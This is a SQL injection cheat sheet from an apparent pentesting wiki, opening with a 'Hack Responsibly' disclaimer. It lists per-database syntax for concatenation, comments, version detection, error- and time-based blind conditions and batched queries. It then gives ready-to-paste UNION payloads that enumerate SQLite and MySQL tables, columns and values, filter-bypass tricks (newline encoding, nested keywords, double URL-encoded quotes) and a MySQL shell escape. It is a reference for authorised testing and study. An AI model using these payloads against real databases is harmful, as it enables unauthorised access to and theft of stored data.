{% hint style="success" %} Hack Responsibly.
Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here. {% endhint %}
Blind SQL injection UNIoN queries: Ippsec:HacktheBox - Charon use CONCAT("x","x")
--
-> Comments in Linux
--+
-> Comments in Windows
%23 (#)
-> Hash Symbol
%2527 (')
-> to bypass urldecode(urldecode(htmlspecialchars(, ENT_QUOTES)));
You can concatenate together multiple strings to make a single string.
Oracle | 'foo'||'bar' |
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Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'||'bar' |
MySQL |
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You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba
.
Oracle | SUBSTR('foobar', 4, 2) |
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Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
You can use comments to truncate a query and remove the portion of the original query that follows your input.
Oracle |
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Microsoft |
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PostgreSQL |
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MySQL |
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You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
Oracle |
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Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
You can list the tables that exist in the database, and the columns that those tables contain.
Oracle |
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Microsoft |
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PostgreSQL |
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MySQL |
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You can test a single boolean condition and trigger a database error if the condition is true.
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
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Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle | Does not support batched queries. |
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Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | QUERY-1-HERE; QUERY-2-HERE |
{% hint style="info" %} Note: With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database. {% endhint %}
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
Oracle | dbms_pipe.receive_message(('a'),10) |
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Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT sleep(10) |
You can test a single boolean condition and trigger a time delay if the condition is true.
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
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Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') |
Table
1' union all select 1,tbl_name,3 FROM sqlite_master WHERE type='table' limit 0,1 --
Columns (as command)
1' union all select 1,sql,3 FROM sqlite_master WHERE type='table' and tbl_name='nameoftable' limit 0,1 --
Values (payload depends on the columns structure)
1' union all select 1,"nameofcolumn",3 FROM "nameoftable" limit 2,1 --
Table
1' union select (select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),2#
Columns
1' union select (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='nameoftable'),2#
Values
1' union select (select nameofcolumn from nameoftable limit 0,1),2#
Using Newline
admin %0A union %0A select %0A 1,database()#
or
admin %0A union %0A select %0A database(),2#
Bypass preg_replace
ununionion select 1,2%23
or
UNunionION SEselectLECT 1,2,3%23
get shell in mysql: \! /bin/sh
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